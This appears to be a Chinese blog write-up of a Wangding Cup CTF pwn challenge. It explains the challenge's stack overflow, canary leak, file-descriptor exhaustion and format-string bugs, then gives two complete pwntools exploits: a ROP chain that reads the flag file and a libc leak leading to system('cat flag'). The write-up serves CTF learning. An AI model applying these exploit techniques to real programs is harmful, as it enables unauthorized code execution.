網(wǎng)鼎杯(4)-pwn

題目鏈接

保護

保護還挺多

main函數(shù)
bored函數(shù)
fmt函數(shù)
secret函數(shù)
stack函數(shù)

主要漏洞點:

  • stack函數(shù)有棧溢出,還有puts函數(shù)可以泄漏棧的東西
  • secret函數(shù)由于每個用戶能打開的文件數(shù)是一定的,函數(shù)沒有fclose ,一直開 最后讀進(jìn)去的就是空的,所以可以繞過memcmp函數(shù)去執(zhí)行qmemcpy函數(shù)達(dá)到棧溢出
讀寫函數(shù)細(xì)節(jié)

類似的題有pwnable.kr的otp (后面做到的時候可以再回顧一下)

  • fmt函數(shù)有2字節(jié)的格式化字符串漏洞
  • bored函數(shù)可以控制secret棧溢出時的payload,帶有一個遞歸功能

利用方式:
1.利用bored函數(shù)遞歸幾次改變棧結(jié)構(gòu)再利用stack函數(shù)泄漏出canary,然后利用bored和secret函數(shù)來rop : open('./flag',0) --> read(0,bss,0x200) --> puts(bss)

2.利用bored函數(shù)遞歸幾次改變棧結(jié)構(gòu)再利用stack函數(shù)泄漏出canary,再用fmt函數(shù)泄漏libc得到system地址,然后利用bored和secret函數(shù)棧溢出執(zhí)行 : system('cat flag')

exp1:

from pwn import *
#context.log_level = 'debug'


p = process('./pwn.')
elf = ELF('./pwn.')

def stack(payload):
    p.sendlineafter('option:','1')
    p.sendafter('once..\n',payload)

def secret(payload):
    p.sendlineafter('option:','9011')
    p.sendafter('code:',payload)

def fsb(payload):
    p.sendlineafter('option:','3')
    p.sendafter('think?)\n',payload)

def bored(payload,choice = 'n'):
    p.sendafter('bored...\n',payload)
    p.sendafter('y/n\n',choice)


#leak canary
p.sendlineafter('option:','2')
for i in range(4):
    bored('a')
bored('a','y')


stack('a'*0xa8 + 'a')
p.recv(0xa9)
canary = u64(p.recv(7).rjust(8,'\x00'))
log.success('canary : 0x%x' %canary)

#open('./flag',0) --> read(0,0x602068,0x200) --> puts(0x602068)
'''
open函數(shù)返回的文件描述符fd一定是未使用的最小的文件描述符。
#利用這個特性,可以改變0,1,2這三個文件描述符所指向的文件,由于進(jìn)程默認(rèn)會打開0,1,2這三個文件描述符,而且指向了鍵盤和顯示器的設(shè)備文件。
如果在open之前先進(jìn)行close(0),然后再調(diào)用open函數(shù)就會返回最小的未使用的fd,也就是0。
如果沒有就是3
'''
open_plt = elf.plt['open']
read_plt = elf.plt['read']
puts_plt = elf.plt['puts']
pop_rdi = 0x0000000000400c53
pop_rsi_r15 = 0x0000000000400c51

payload = './flag\0\0' + p64(canary) + 'a'*0x8
payload += p64(pop_rdi) + p64(0x602080) + p64(pop_rsi_r15) + p64(0) + p64(0)
payload += p64(open_plt) + p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(0x602068) + p64(0)
payload += p64(read_plt) + p64(pop_rdi) + p64(0x602068) + p64(puts_plt) 

p.sendlineafter('option:','2')
bored(payload,'y')
#gdb.attach(p)
try:
    for i in range(9999):
        secret('\0')

except Exception as e:
    p.close()


p.interactive()

exp2:

from pwn import *
#context.log_level = 'debug'


p = process('./pwn.')
elf = ELF('./pwn.')

def stack(payload):
    p.sendlineafter('option:','1')
    p.sendafter('once..\n',payload)

def secret(payload):
    p.sendlineafter('option:','9011')
    p.sendafter('code:',payload)

def fsb(payload):
    p.sendlineafter('option:','3')
    p.sendafter('think?)\n',payload)

def bored(payload,choice = 'n'):
    p.sendafter('bored...\n',payload)
    p.sendafter('y/n\n',choice)


#leak canary
p.sendlineafter('option:','2')
for i in range(4):
    bored('a')
bored('a','y')

stack('a'*0xa8 + 'a')
p.recv(0xa9)
canary = u64(p.recv(7).rjust(8,'\x00'))
log.success('canary : 0x%x' %canary)

offset_system = 0x0000000000045390
offset_str_bin_sh = 0x18cd57
offset_onegadge = 0xf1147
pop_rdi = 0x0000000000400c53


#leak libc
fsb('%a')
p.recvuntil('0x0.0')
libc_base = int(p.recvuntil('p-',drop = True),16) - 0x3c56a3
log.success('libc base addr : 0x%x' %libc_base)
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_str_bin_sh
log.success('system addr : 0x%x' %system_addr)
log.success('binsh addr : 0x%x' %binsh_addr)


#cat flag
payload = 'cat flag' + p64(canary) + 'a'*0x8
payload += p64(pop_rdi) + p64(0x602080) + p64(system_addr)

p.sendlineafter('option:','2')
bored(payload,'y')

#gdb.attach(p)
try:
    for i in range(9999):
        secret('\0')

except Exception as e:
    p.close()


p.interactive()

這里用

find .|xargs grep -ri 'define O_RDONLY'  #去看了下open函數(shù)的參數(shù)flags的意思
------------------------------------------------------
/* File access modes for `open' and `fcntl'.  */
#define O_RDONLY        0       /* Open read-only.  */
#define O_WRONLY        1       /* Open write-only.  */
#define O_RDWR          2       /* Open read/write.  */
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • C語言中內(nèi)存分配 在任何程序設(shè)計環(huán)境及語言中,內(nèi)存管理都十分重要。在目前的計算機系統(tǒng)或嵌入式系統(tǒng)中,內(nèi)存資源仍然是...
    一生信仰閱讀 1,314評論 0 2
  • 網(wǎng)鼎杯第一場wp guess防護機制:image.png 開啟了canary和NX 簡單的看了下反編譯的邏輯 發(fā)現(xiàn)...
    zs0zrc閱讀 2,119評論 0 4
  • 類也是對象 在Python中一切都是對象,類也不例外。所以可以對類進(jìn)行以下操作。1.可以當(dāng)做參數(shù)傳遞2.可以添加屬...
    FangHao閱讀 474評論 0 0
  • 清明細(xì)雨三兩日 晨起祭拜淚潸然 思君念君憶忠烈 林間百鳥破長空
    玄女涅槃y楊門第九代閱讀 122評論 0 0
  • 山生平川上,各披一身蒼。 圍坐清江前,爭相近顧盼。 如佛靜坐??,似龜翹首望, 忽來數(shù)船人,相見意欲狂!
    平天下之文世界閱讀 364評論 0 4

友情鏈接更多精彩內(nèi)容